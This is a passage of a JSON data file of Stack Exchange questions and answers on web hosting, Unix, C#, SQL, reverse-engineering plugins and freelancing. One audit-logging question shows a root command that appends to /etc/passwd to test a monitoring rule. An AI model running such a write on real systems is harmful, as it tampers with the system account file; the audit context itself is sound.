Job.Name, ex);                        }                    }, token);                }        }    }}"  , "title": "Safe locking, replaced thread by task inside Job Manager"  , "tags": "c#;thread safety;locking"  } 
{  "id": "_webmaster.21725"  , "question": "I have created a few plugins and themes that I want to have special pages for. Now I do not want to make a complete new website or page for all the different plugins.Instead I want to have normal blogposts for each of my plugins and themes. Now to make things more simple I want to create a special domain name for them, with CNAME records. like this:facyplugin.mydomain.com  CNAME  mydomain.com/2011/09/new-fancy-pluginNow instead of giving people the long version of the link, I can just give the small one, without having to use a url crusher.--Now is this a good idea, or will this lead to problems in terms of SEO."  , "title": "Creating a subdomain (sub.domain.com) for special posts on a blog: Good idea?"  , "tags": "seo;blog;links"  , "accepted_answer": "It will have no effect on your SEO. Subdomains are no different then subdirectories as far as SEO goes. If you think this will make it easier to promote your plug-ins then definitely do it. But don't expect any special rankings because of it."  } 
{  "id": "_webmaster.14048"  , "question": "Sorry if this has been covered, I can't find anything on this specifically.I have wildcard subdomains on (*.mysite.com) I need a mod_rewrite expression for this rewrite:bob.mysite.com => mysite.com/users/index.php?user=bobbob.mysite.com/profile/ => mysite.com/users/index.php?user=bob/profile/Obviously bob and profile are just examples, I need the general case. Thanks for your help!"  , "title": "mod_rewrite rule for wildcard subdomains?"  , "tags": "mod rewrite"  , "accepted_answer": "The $ operator will let you extract backreferences from matches in rewrite rules and the % operator will let you extract references from conditions.RewriteCond %{HTTP_HOST} !www.mysite.com$ [NC] # Presuming you don't want to do wwwRewriteCond %{HTTP_HOST} ^(.*)\\.mysite\\.com [NC] # Catch subdomainRewriteCond %{REQUEST_URI} !index\\.php [NC] # Don't rewrite if we already haveRewriteRule ^(.*)$ /users/index.php?user=%1$1 [L]"  } 
{  "id": "_unix.115583"  , "question": "To keep my Input Method (Bogo or Unikey) of IBus working with Dvorak keyboard layout after reboot, I use sudo dpkg-reconfigure keyboard-configuration to set keyboard as Dvorak, and go to tab Advance in IBus Preferences to check Use system keyboard layout.The problem is, sometimes my friends want to borrow my laptop and I can not easily switch to Qwerty layout because any Input Method will use Dvorak. The English - English (US) is the same as English - English (Dvorak) one.Any idea? Info: I'm use IBus 1.5.3 and it says this is the newest version. So do Cinnamon."  , "title": "Can't use QWERTY layout after make IBus work with Dvorak layout after reboot"  , "tags": "keyboard layout;reboot;input method;ibus"  } 
{  "id": "_softwareengineering.196293"  , "question": "With advent of WPF and MVVM Microsoft introduced DependencyProperties and INotifyPropertyChange interface to provide a way to implement the reactive approach used with those technologies.Sadly both of these constructs are very verbose, require much boilerplate, are clumsy to use, also are not really that safe since they require much use of magic strings.So here come the question: why didn't they put these functionalities directly into the language - why didn't they create new kind of properties created with a simple keyword, providing useful stuff of DependencyProperties (like events on change and so on...).What were stopping them?"  , "title": "Why DependencyProperties and not native language support?"  , "tags": "c#;wpf;mvvm"  , "accepted_answer": "Dependecy properties are very WPF-specific. As far as I know, even WinRT (which is XAML-based, just like WPF) doesn't use them. So, you are proposing adding a feature that wouldn't be at all useful for people who develop ASP.NET applications, Windows services, web services, WinRT applications, etc. That's points against this feature.Also, it's not clear to me how exactly would this work. How would you set the default value of the property? Or PropertyChangedCallback? What about attached properties? If the feature you're proposing couldn't handle all this, it would make it much less useful. If it did, I have no idea how would the syntax look like, but I doubt it would fit well with the rest of C#.And this feature doesn't actually add much, it just makes some code slightly more convenient.This all says to me that such a feature wouldn't be worth it, considering that it would be relatively complicated change that would be useful only in a relatively small subset of programs and even in those wouldn't be actually useful that much."  } 
{  "id": "_softwareengineering.150915"  , "question": "I was just wondering if a language could support something like a Retry/Fix block?The answer to this question is probably the reason it's a bad idea or equivalent to something else, but the idea keeps popping into my head.void F(){  try  {    G();  }  fix(WrongNumber wn, out int x)  {     x = 1;  }}void G(){  int x = 0;  retry<int>  {    if(x != 1) throw new WrongNumber(x);  }}After the fix block ran, the retry block would run again..."  , "title": "Can a language support something like Retry/Fix?"  , "tags": "programming languages"  , "accepted_answer": "Yes, a language could do that.There are examples in existing languages. Common Lisp provides a system which allows an exception (condition, in CL terminology) handler to return control to the point at which the exception was thrown, passing extra information about how the condition should be handled.A good description of this is available in the book Practical Common Lisp, 19. Beyond Exception Handling: Conditions and RestartsAs other commenters have mentioned, Scheme's general continuation system could be used to implement this, and Eiffel provides similar functionality.Thanks to @9000 and @delnan for bringing up Eiffel and call/cc in the comments on the question"  } 
{  "id": "_unix.119762"  , "question": "I know to dump memory images in Windows. (eg-dumpit) But I don't know how to dump memory images in Linux.I want to get memory images in Linux and from Linux to Linux with ssh connection or something.How can I get in Linux?"  , "title": "How to dump memory image from linux system?"  , "tags": "memory;forensics;dump"  } 
{  "id": "_softwareengineering.19317"  , "question": "I keep running into the same problems.  The problem is irrelevant, but the fact that I keep running into is completely frustrating.The problem only happens once every, 3-6 months or so as I stub out a new iteration of the project.  I keep a journal every time, but I spend at least a day or two each iteration trying to get the issue resolved.How do you guys keep from making the same mistakes over and over?I've tried a journal but it apparently doesn't work for me.[Edit]A few more details about the issue:  Each time I make a new project to hold the files, I import a particular library.  The library is a C++ library which imports glew.h and glx.h GLX redefines BOOL and that's not kosher since BOOL is a keyword for ObjC.I had a fix the last time I went through this.  I #ifndef the header in the library to exclude GLEW and GLX and everything worked hunky-dory.This time, however, I do the same thing, use the same #ifndef block but now it throws a bunch of errors.  I go back to the old project, and it works.  New project no-worky.It seems like it does this every time, and my solution to it is new each time for some reason.  I know #defines and #includes are one of the trickiest areas of C++ (and cross-language with Objective-C), but I had this working and now it's not."  , "title": "How do you keep from running into the same problems over and over?"  , "tags": "self improvement;productivity"  , "accepted_answer": "I'd suggest determining what triggers the issue, and restructuring your development process to avoid that scenario. What 'restructuring' entails is highly dependent on the problem. It ranges from abstracting some behavior into a seperate class to changing the composition of your team.A journal detailing the context of the incident and resolution approaches can certainly help you converge on the root cause and/or a general solution. Once you've determined that there are a few obvious options:If the cause is avoidable: Try to avoid triggering the root cause next time.If the solution proves to be simple: Implement the general solution whenever the problem occurs.Restructure your development process so that it naturally avoids the issue.The options available depend on the information about the issue you have, and the amount of control you have over the development process."  } 
{  "id": "_unix.204733"  , "question": "There are a number of Unix commands which do not work on my OS X Yosemite 10.10.3, Terminal Version 2.5.3. For instance, I often use this cheatsheet of Unix commands: http://mally.stanford.edu/%7Esr/computing/basic-unix.htmlTake the command webster, which gives the definitions of words via the Webster Dictionary. Naturally, Mac's Terminal does not recognize this command-bash: webster: command not foundIs there any way to download/import all Unix commands into OS X? Or at least import certain commands like webster? EDIT: It looks like the best way forward is to build my own set of Unix commands. webster just isn't available, outside of my fantasy Unix system on Stanford computers twenty years ago. Fellow Unix nerds, rise up! Let us achieve Unix greatness in days of yore!"  , "title": "How can I import new Unix commands on my OS X Terminal?"  , "tags": "terminal;osx;macintosh"  } 
{  "id": "_unix.77054"  , "question": "I cannot find where I can set keyboard shortcut for switching languages.Update:New problem: I cannot set Alt+Shift combination for that."  , "title": "Gnome3/cinnamon set keyboard shortcut"  , "tags": "keyboard shortcuts;gnome3;cinnamon"  , "accepted_answer": "I don't use Cinnamon so this might not work for you, but in vanilla Gnome 3.6 you could do this either via terminal:gsettings set org.gnome.settings-daemon.peripherals.keyboard input-sources-switcher alt-shift-lor via dconf-editor, navigating to org > gnome > settings-daemon > peripherals > keyboard and entering alt-shift-l as a value for the input-sources-switcher key:In Gnome 3.8 they have re-added this feature to Settings > Keyboard > Shortcuts, via an additional section called Typing:"  } 
{  "id": "_webmaster.88214"  , "question": "I installed Google Analytic on my website.  I pasted the code into the right place. It is showing real time & other data, but it is not counting sessions and page views. It actually appears that the page views is counting down. What can I do?"  , "title": "Google Analytics not counting page views when installed on my website?"  , "tags": "google analytics;statistics;visitors"  } 
{  "id": "_unix.104800"  , "question": "I'd like to use find to list all files and directories recursively in a given root for a cpio operation. However, I don't want the root directory itself to appear in the paths. For example, I currently get:$ find diskimgdiskimgdiskimg/file1diskimg/dir1diskimg/dir1/file2But, I'd like to getfile1dir1dir1/file2(note the root is also not in my desired output, but that's easy to get rid of with tail).I'm on OS X, and I'd prefer not to install any extra tools (e.g. GNU find) if possible, since I'd like to share the script I'm writing with other OS X users.I'm aware this can be done with cut to cut the root listing off, but that seems like a suboptimal solution. Is there a better solution available?"  , "title": "find output relative to directory"  , "tags": "find"  , "accepted_answer": "If what you are trying to do is not too complex, you could accomplish this with sed:find diskimg | sed -n 's|^diskimg/||p'Or cut:find diskimg | cut -sd / -f 2-"  } 
{  "id": "_softwareengineering.161945"  , "question": "So a client comes to me and says it needs some work done. Basically 4 tasks, which I agreed to perform for a certain price. The customer creates the job offer (a fixed time and price job) on ODesk, I accept it, but it took some days and constant reminding for the customer to initiate a contract based on that job.The problem is that the original task has been completed, the contract is still active, I have not been paid yet, the customer says he will pay when the project is completed, and until then, new tasks occur constantly, or changes to older tasks that require full re-doing of elements. For all of this the client promises payment. No updates from this client on ODesk, no new tasks there. I keep reminding the client about sorting out the administrative issues, but with no results. At the same time, the client pushes on continuing work, since the project is soon to be launched.I don't know what to do.If I refuse to perform any work without the bureaucracy, the project will be late. But it's not my fault, is it? I am scared that I might receive a negative feedback in this case, or something even worse.If I drop out of this project I'm afraid I won't be getting even what I've earned.If I continue like this, I'll be wasting a lot of time doing stuff similar to the stuff described here, but as a programmer (yes, it has already come to similar requests, for lots of hardcoded content).How do I communicate with such clients in such situations? How do I avoid a conflict?P.S. The client is a small company. Different people handle different aspects of this project, and everybody introduces their own changes to the original specs.After 2 years: Wow! Very question! Much popular!I decided to let everyone in on the ending of this story. I've confronted the customer, explained that I will not work until I get paid for what I did, and until a hourly contract is open. They paid me the next day and opened a contract. A fruitful, but short collaboration started. Everyone was happy. Except I didn't get any feedback."  , "title": "Should I continue to perform freelance work for customers who keep on demanding more without paying?"  , "tags": "freelancing;customer relations"  , "accepted_answer": "Oh man, I was in this position so many times back when I freelanced I'm feeling your pain right now.It all changed when I changed my way of thinking about clients: all clients are con artists.Let me say that again:ALL CLIENTS ARE CON ARTISTSWhen you change to this perspective it is when you realize you actually have the leverage most of the time, even when you don't have a contract that backs you up.Here is what you do:If you have delivered already, you are already screwed: At this point you must decide if you want to keep getting screwed and have the client continue making you his b****.If you have not delivered, there is hope: The launch is your leverage and you can still get paid. Negotiate payment for at least 50% or just drop the whole project and leave him to his luck, this is your leverage. I was in this position at least two times and didn't take the chance when I could, things went bad for me and I paid the price. It sounds cold-hearted, but this is often the point of no return.If you think this is just a communication problem, you can fix it (if and only if the client wants to): You can use the previous still as a leverage, but the solution is to ask the client to designate a single representative for the project, your best options for this are:The project ownerA stakeholder designated by the project ownerThe owners' right-handThis will effectively make them funnel all requests to a single point where things can be sorted out on their side, not on yours. You are experiencing a mixture of feature creep and lack of expectation management.In any case and if I were you, I would contact oDesk for assistance with this case. I'm sure there are a lot of clients who behave like this to extort more work out of contractors. If you have evidence that the project is complete according with the contract, use the contract as your weapon. I'm sure oDesk has contracts for something.Also, it can also look like being cold-hearted, but when it comes down to getting screwed or not screwed, their launch, their deadlines, and their mind-faps are their problem, not yours. I made the mistake of caring too much about the client in my days, but you don't have to.Edit: Last piece of advice, don't make the final delivery until you have the final payment. You can always give a demonstration in your own laptop/premises to assure everything works. Alternatively and if you have absolutely no choice, and the customer needs the application deployed to pay you (because it is in the contract, otherwise don't give in), deploy it in your own infrastructure and give no access to it to anyone other to those that you would trust with your life (I'm serious about this). This is your last possible leverage where you can say: you have X days to pay up or the service will be taken down. Pretend that he is renting a house you own, and he might just leave one day unannounced and you will never be able to track him back or give him a reason to pay you."  } 
{  "id": "_webapps.33946"  , "question": "I have a facebook profile with a custom url name. For example Catdog - www.facebook.com/Catdog.So does that mean if someone enters: www.facebook.com/Catdog into their browser AND they are not my friend OR mutual friend, could still see my Timeline even though I've set ONLY FRIENDS in the Who could look up my Timeline by name options in the privacy settings?Thanks in advance."  , "title": "Can knowing a custom Facebook URL of someone bypass who can look up my timeline by name privacy option?"  , "tags": "facebook;privacy;facebook timeline"  , "accepted_answer": "No. Your privacy settings apply even to customized URLs for your Facebook profile.There is always going to be some public information provided when people visit your profile page (Profile pic, basic info unless hidden). If you'd like to see what the public sees when visiting your profile, go to the Settings gear box on your Timeline and select View as...The default view will show you how you appear to the public, as well as provide a box for you to see how your various friends see your profile as well."  } 
{  "id": "_softwareengineering.228927"  , "question": "Fixed-point object locations allow for worlds which are much more scale-able. Using a 64-bit integer (per dimension), and 0.1 millimeter precision, a world can be created which is 100% numerically stable, and 12,000 astronomical units across.I have been looking all over the internet, and I can't seem to find a physics engine which supports this.Is there a 3D physics engine in existence, which uses fixed-point (i.e. Integer, hopefully int-64) values for entities' positions?It's for a really ambitious sci-fi game I'm working on."  , "title": "Physics Engine with Fixed-Point Positions"  , "tags": "java;3d;physics"  , "accepted_answer": "I've never heard of one.And there are reasons why nobody does it that way.First, numerically-intense computations moved to floating point decades ago because of the amount of headache involved in keeping track of the decimal point across multiplications, divisions, and exponentiations.  The moment you hit transcendental functions (sin, cos, exp), you die horribly.Second, one light-year is about 63000 AU, so your universe is 1/5 of a light-year across.  Given that Alpha Centauri is 4.3 light-years from Sol, your Universe is limited to one (1) solar system.  AT THE MOMENT, it is summer on Pluto, meaning that it is just inside Neptune's orbit, and so the whole basic Solar system is 60 AU across (30 AU to Neptune's orbit, x 2).You're proposing using 64 bits.  It only takes about 55 bits to represent the basic Solar system, to your desired precision.  Use another bit, and go out to 120 AU across.Now, x86 extended precision (double) is 80 bits, with a sign bit, a 15-bit exponent, and a 64-bit mantissa.  Your suggestion uses a 64-bit mantissa, with NO exponent.  Bluntly, you aren't saving yourself any trouble by writing your own fixed-point math package.My suggestion to you is this: Develop a prototype of your game, using plain vanilla extended precision floating point, and see whether you encounter numerical instabilities."  } 
{  "id": "_codereview.102719"  , "question": "I have 3 tables:    Table couples         consist of save_id, id_candidate_red, id_candidate_blue    Table candidates_red  consist of save_id, id_candidate, enter_match    Table candidates_blue consist of save_id, id_candidate, enter_matchAnd I am running the query SELECT  *    FROM  couples as c    LEFT JOIN candidates_blue as cb         ON cb.save_id = 3            AND cb.user_id = c.id_candidate_blue    LEFT JOIN candidates_red as cr         ON cr.save_id = 3            AND cr.user_id = c.id_candidate_red    WHERE c.save_id = 3        AND cb.enter_match = 1        AND cr.enter_match = 1 which seems pretty simple to me, but as I have a big dataset behind my tables, it takes quite a while to execute."  , "title": "Joining couples, red candidates, and blue candidates"  , "tags": "performance;sql;mysql;join"  , "accepted_answer": "I'm afraid there's not much we can do to help with this kind of question. There's not much obviously wrong. You likely need to run the query analyzer and add some missing indices and keys. Regardless, there's still an opportunity for improvement, albeit not much performance wise... SELECT  *Do you really need every column? Even with proper keys/indices in place, this will typically force a table scan. Explicitly state only the fields you need to return. It will result in less I/O and could possibly turn a scan operation into a seek. If it doesn't, you'll need to find the missing index to be added. The next thing you can do is remove the duplication. LEFT JOIN candidates_blue as cb     ON cb.save_id = 3        AND cb.user_id = c.id_candidate_blueLEFT JOIN candidates_red as cr     ON cr.save_id = 3        AND cr.user_id = c.id_candidate_redWHERE c.save_id = 3    AND cb.enter_match = 1    AND cr.enter_match = 1I suppose you added all the save_id = 3s in an attempt to speed up the query? Don't bother. It won't help. Specifying it once for the couples table is sufficient. Which actually brings me to an optimization. Your query is equivalent to using INNER JOIN, but without any of the benefits. You're not currently getting the unmatched records anyway, so you might as well switch. You might see a significant performance increase. SELECT  * /* don't forget to specify the fields you actually want */FROM  couples as cINNER JOIN candidates_blue as cb     ON cb.user_id = c.id_candidate_blueINNER JOIN candidates_red as cr     ON cr.user_id = c.id_candidate_redWHERE c.save_id = 3    AND cb.enter_match = 1    AND cr.enter_match = 1 One last thing: Very nice formatting! It's extremely easy on the eyes. "  } 
{  "id": "_unix.159803"  , "question": "When I do:echo #TEST >> /etc/passwdI get the following in audit logging:node=kayak.office.local type=SYSCALL msg=audit(1412687666.054:62033):    arch=c000003e syscall=2 success=yes exit=3 a0=2939480 a1=241 a2=1b6    a3=76 items=2 ppid=12744 pid=12748 auid=1030 uid=0 gid=0 euid=0     suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1769 comm=bash exe=/bin/bash subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=identitynode=kayak.office.local type=CWD     msg=audit(1412687666.054:62033):      cwd=/rootnode=kayak.office.local type=PATH    msg=audit(1412687666.054:62033):    item=0 name=/etc/ inode=13    dev=fd:00 mode=040755  ouid=0 ogid=0     rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=PARENTnode=kayak.office.local type=PATH    msg=audit(1412687666.054:62033):      item=1 name=(null)  inode=15883 dev=fd:00 mode=0100644 ouid=0 ogid=0     rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=NORMAL(spaces added for readability)The inode of /etc/passwd is indeed 11908, but this is hard to parse with external tooling, which make rules based on file names. Can I get the file name/path?"  , "title": "File path in audit log instead of inode number"  , "tags": "linux;files;logs;audit"  } 
{  "id": "_reverseengineering.12726"  , "question": "I have made a plugin (using IDA Python) that requires the Hex-Rays plugin. As per the instructions in the hexrays_sdk folder, I've named my plugin starting with hexrays_ to make sure it loads after Hex-Rays is done loading. However, IDA decides to load my plugin earlier, and hence, it never is able to get True for idaapi.init_hexrays_plugin(). I've tried renaming my plugin in multiple ways, but still cannot seem to get the plugin to load after Hex-Rays.BTW, I think the issue might be related to the fact that I am storing my plugin in %IDAUSR%/plugins rather than %IDADIR%/plugins since I do not want to modify %IDADIR%.Is there any kind of workaround to make the plugin load later? Or can I force IDA to load Hex-Rays earlier?"  , "title": "Hex-Rays and IDA Python plugin loading order"  , "tags": "idapython;idapro plugins;hexrays"  , "accepted_answer": "When loading plugins, IDA goes through them alphabetically, and tries to load all the plugins.When loading a plugin, the loader check the plugin flags (idaapi.PLUGIN_PROC, idaapi.PLUGIN_FIX, and so on) to determine if the plugin should be loaded at the current time.If it is to be loaded, the init method is called. A plugin can return PLUGIN_KEEP to remain loaded, or PLUGIN_SKIP to avoid loading.As long as a plugin is not in memory (not yet loaded, or already unloaded,) IDA will try and load it again and again. This is how my plugin loader works.So the first thing you need to be sure of, is that you flag your plugin idaapi.PLUGIN_PROC, as this is when Hex-Rays loads (only when a processor module is active.)Hopefully, this will solve it. If not - you can use idaapi.load_plugin('hexrays') to explicitly load the Hex-Rays plugin. Again, this can only be done when a processor module is active, so be sure to use PLUGIN_PROC."  } 
{  "id": "_cs.24597"  , "question": "I'm trying to proof/refute the following equation:$$n^n = \\Omega(n!)$$Generally I would try to use Convergence Criteria and or l'Hpital's rule to solve such a problem.$$\\lim_{n\\to \\inf}{{f(n)}\\over{g(n)}} = K$$However, in this case $n!$ is somewhat of a party-stopper. I found Stirling's approximation which states that:$$n! \\approx \\left(\\frac{n}{e}\\right)^n\\sqrt{2n} $$My idea was therefore:$${n^n}\\over{(\\frac{n}{e})^n\\sqrt{2n}}$$$${n^n}\\over{\\frac{n^n}{e^n}\\sqrt{2n}}$$$${e^n}\\over{\\sqrt{2n}}$$$$\\lim_{x\\to \\infty}{{e^2n}\\over{2n}} = \\infty$$$$ 0 < K \\leq \\infty $$therefore the original equation is true.Is that approach ok, did I understand Stirling's approximation correctly?"  , "title": "Proof or refute $n^n = \\Omega(n!)$ with the help of Stirling's approximation"  , "tags": "asymptotics;check my answer"  , "accepted_answer": "Stirling's approximation states that$$ n! \\sim \\sqrt{2\\pi n} (n/e)^n. $$This notation means that the ratio between the two sides tends to 1 as $n$ tends to infinity. For your purposes, we can simply write$$ n! = \\Theta(\\sqrt{n} (n/e)^n). $$Since $\\sqrt{n} = o(e^n)$,$$ n! = o(n^n). $$If all you want to show $n! = O(n^n)$, then as Jukka mentions you can use the simple bound $n! \\leq n^n$."  } 
{  "id": "_unix.101132"  , "question": "Before updating ubuntu to it's current version, bluetooth used to work just fine. But, now I've been facing problem regarding this bluetooth setting. While adding devices,it keeps on searching but never finds. Moreover, I can't set bluetooth setting to visible. I tried the method using Launchpad using this method. But, I failed that way. I got error on this line :# sudo dpkg -i indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.debThe error says like this:dpkg: error processing indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.deb (--install): cannot access archive: No such file or directoryErrors were encountered while processing: indicator-bluetooth_0.0.6daily13.02.19-0ubuntu1_amd64.deb"  , "title": "How to enable bluetooth in Ubuntu 13.10?"  , "tags": "ubuntu;bluetooth"  } 
{  "id": "_codereview.139181"  , "question": "Question copied from the book:(Game: eye-hand coordination) Write a program that displays a circle  of radius 10 pixels filled with a random color at a random location on  a panel, as shown in Figure 16.28c. When you click the circle, it  disappears and a new randomcolor circle is displayed at another random  location. After twenty circles are clicked, display the time spent in  the panel, as shown in Figure 16.28d.My solution:import javax.swing.*;import java.awt.*;import java.awt.event.*;public class EyeHandCoordination extends JFrame {    private final int CIRCLE_RADIUS = 10;    private final int TOTAL_CIRCLES = 20;    private RandomCirclePanel panel = new RandomCirclePanel();    public EyeHandCoordination() {        add(panel);    }    public static void main(String[] args) {        EyeHandCoordination frame = new EyeHandCoordination();        frame.setTitle(EyeHandCoordination);        frame.setSize(300, 300);        frame.setLocationRelativeTo(null); // Center the frame        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        frame.setVisible(true);      }    private class RandomCirclePanel extends JPanel {        private long startTime;        private long endTime;        private int circleX = 0;        private int circleY = 0;        private int currentCircle = 0;        public RandomCirclePanel() {            startTime = System.currentTimeMillis();            addMouseListener(new MouseAdapter() {                @Override                public void mousePressed(MouseEvent e) {                    // Check if in circle                    if (inCircle(e.getX(), e.getY()) && currentCircle < TOTAL_CIRCLES) {                        currentCircle++;                        repaint();                    }                }            });        }        /** Display circle at a random location **/        private void changeCircleLocation() {            circleX = (int)(Math.random() * (getWidth() - CIRCLE_RADIUS * 2));             circleY = (int)(Math.random() * (getHeight() - CIRCLE_RADIUS * 2));        }        /** Check if inCircle **/        public boolean inCircle(int mouseX, int mouseY) {            if (distanceFromCenterOfCircle(mouseX, mouseY) <= CIRCLE_RADIUS) {                return true;            }            return false;        }        private int distanceFromCenterOfCircle(int x, int y) {            int centerX = circleX + CIRCLE_RADIUS;            int centerY = circleY + CIRCLE_RADIUS;            return (int)(Math.sqrt((centerX - x) * (centerX - x) + (centerY - y) * (centerY - y)));        }        @Override        protected void paintComponent(Graphics g) {            super.paintComponent(g);            int width = getWidth();            int height = getHeight();            changeCircleLocation();            if (currentCircle >= TOTAL_CIRCLES) {                g.setColor(Color.BLACK);                endTime = System.currentTimeMillis();                FontMetrics fm = g.getFontMetrics();                String s = Time spent:  + ((endTime - startTime) / 1000.0) +  seconds;                g.drawString(s, width / 2 - fm.stringWidth(s) / 2, height / 2 - fm.getAscent());            }            else {                g.setColor(new Color((int)(Math.random() * 256), (int)(Math.random() * 256), (int)(Math.random() * 256)));                g.fillOval(circleX, circleY, CIRCLE_RADIUS * 2, CIRCLE_RADIUS * 2);            }        }    }}"  , "title": "Swing Game EyeHandCoordination"  , "tags": "java;swing;event handling;gui"  } 
{  "id": "_codereview.98694"  , "question": "I am writing a C++ library which will interact on files, memory buffers and remote files accessible with the HTTP protocol.To handle that, I've decided to create some classes that will use the following interface:DataStreamInterface.hclass DataStreamInterface { public:  virtual bool open() = 0;  virtual void close() = 0;  virtual std::streamsize length() const = 0;  virtual std::streamsize tell() const = 0;  virtual std::streamsize seek(std::streamsize position) = 0;  virtual std::streamsize read(char *buffer,                               std::streamsize length) = 0;  virtual std::streamsize read(int8_t *buffer) = 0;  virtual std::streamsize read(uint8_t *buffer) = 0;  virtual std::streamsize read(int16_t *buffer) = 0;  virtual std::streamsize read(uint16_t *buffer) = 0;  virtual std::streamsize read(int32_t *buffer) = 0;  virtual std::streamsize read(uint32_t *buffer) = 0;  virtual std::streamsize read(float *buffer) = 0;  virtual std::streamsize read(double *buffer) = 0;  virtual std::streamsize read(std::string *buffer) = 0;  virtual std::streamsize peek(uint8_t *buffer,                               std::streamsize length) = 0;  virtual std::streamsize peek(int8_t *buffer) = 0;  virtual std::streamsize peek(uint8_t *buffer) = 0;  virtual std::streamsize peek(int16_t *buffer) = 0;  virtual std::streamsize peek(uint16_t *buffer) = 0;  virtual std::streamsize peek(int32_t *buffer) = 0;  virtual std::streamsize peek(uint32_t *buffer) = 0;  virtual std::streamsize peek(float *buffer) = 0;  virtual std::streamsize peek(double *buffer) = 0;  virtual std::streamsize peek(std::string *buffer) = 0;  virtual std::streamsize write(const char *buffer,                                std::streamsize length) = 0;  virtual std::streamsize write(int8_t value) = 0;  virtual std::streamsize write(uint8_t value) = 0;  virtual std::streamsize write(int16_t value) = 0;  virtual std::streamsize write(uint16_t value) = 0;  virtual std::streamsize write(int32_t value) = 0;  virtual std::streamsize write(uint32_t value) = 0;  virtual std::streamsize write(float value) = 0;  virtual std::streamsize write(double value) = 0;  virtual std::streamsize write(const std::string &value) = 0;  virtual ~DataStreamInterface() { }};Then I create MemoryDataStream for reading and writing inside a malloc'd buffer, FileDataStream for reading and writing into files and HttpDataStream for reading remote files.MemoryDataStream.ccMemoryDataStream::MemoryDataStream(const DataStreamInit &dsInit) :  _bigEndian(dsInit.bigEndian) {}MemoryDataStream::~MemoryDataStream() {  this->_buffer.clear();}bool MemoryDataStream::open() {  return true;}void MemoryDataStream::close() {}std::streamsize MemoryDataStream::length() const {  return this->_buffer.size();}std::streamsize MemoryDataStream::seek(std::streamsize position) {  if (position < 0 ||      static_cast<std::streamsize>(this->_cursor) +      position > this->_buffer.size()) {    return -1;  }  this->_cursor = position;  return this->_cursor;}std::streamsize MemoryDataStream::tell() const {  return this->_cursor;}std::streamsize MemoryDataStream::read(char *buffer,                                       std::streamsize length) {  std::streamsize result = 0;  for (int i = 0; i < length; i++) {    result += this->_read(buffer++);  }  return result;}std::streamsize MemoryDataStream::read(int8_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint8_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(int16_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint16_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(int32_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(uint32_t *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(float *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(double *buffer) {  return this->_read(buffer);}std::streamsize MemoryDataStream::read(std::string *buffer) {  std::streamsize i;  std::string result;  i = this->peek(&result);  if (i < 1) {    return i;  }  *buffer = result;  this->_cursor += i;  return i;}template <typename T>std::streamsize MemoryDataStream::_read(T *buffer) {  std::streamsize result = this->_peek(buffer);  if (result > 0) {    this->_cursor += result;  }  return result;}std::streamsize MemoryDataStream::peek(uint8_t *buffer,                                       std::streamsize length) {  std::streamsize result = 0;  for (int i = 0; i < length; i++) {    result += this->_peek(buffer++);  }  return result;}std::streamsize MemoryDataStream::peek(int8_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint8_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(int16_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint16_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(int32_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(uint32_t *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(float *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(double *buffer) {  return this->_peek(buffer);}std::streamsize MemoryDataStream::peek(std::string *value) {  int8_t c;  std::streamsize i;  int size;  std::stringstream strm;  for (i = 0; i < 32768; ++i) {    if (this->_peek(&c) < 1 || c == '\\0') {      break;    } else {      this->_cursor += 1;    }    size = i;    strm << c;  }  *value = strm.str();  this->_cursor -= size;  return i;}template <typename T>std::streamsize MemoryDataStream::_peek(T *buffer) {  T value;  T finalValue;  uint8_t *originalData;  uint8_t *finalData;  std::streamsize size = static_cast<std::streamsize>(sizeof(T));  if (static_cast<std::streamsize>(this->_cursor) +      size > this->_buffer.size()) {    return -1;  }  value = *(reinterpret_cast<T*>(&this->_buffer[this->_cursor]));  if (_bigEndian && sizeof(T) > 1) {    originalData = reinterpret_cast<uint8_t*>(&value);    finalData = reinterpret_cast<uint8_t*>(&finalValue);    for (int i = 0; i < sizeof(T); ++i) {      finalData[i] = originalData[(sizeof(T) - i) - 1];    }    value = finalValue;  }  *buffer = value;  return sizeof(T);}std::streamsize MemoryDataStream::write(const char *buffer,                                        std::streamsize length) {  return this->_write(buffer, length);}std::streamsize MemoryDataStream::write(int8_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(uint8_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(int16_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(uint16_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(int32_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(uint32_t value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(float value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(double value) {  return this->_write(value);}std::streamsize MemoryDataStream::write(const std::string &value) {  return this->_write(value.c_str(), strlen(value.c_str()) + 1);}template <typename T>std::streamsize MemoryDataStream::_write(T buffer,                                         std::streamsize length) {  size_t pos = static_cast<size_t>(this->_cursor);  size_t size = static_cast<size_t>(length);  if (pos + size > this->_buffer.size()) {    this->_buffer.resize(pos + size);  }  memcpy(&this->_buffer[pos], static_cast<T>(buffer), size);  this->_cursor += size;  return size;}template <typename T>std::streamsize MemoryDataStream::_write(T value) {  T finalValue = value;  uint8_t *originalData = reinterpret_cast<uint8_t*>(&value);  uint8_t *finalData = 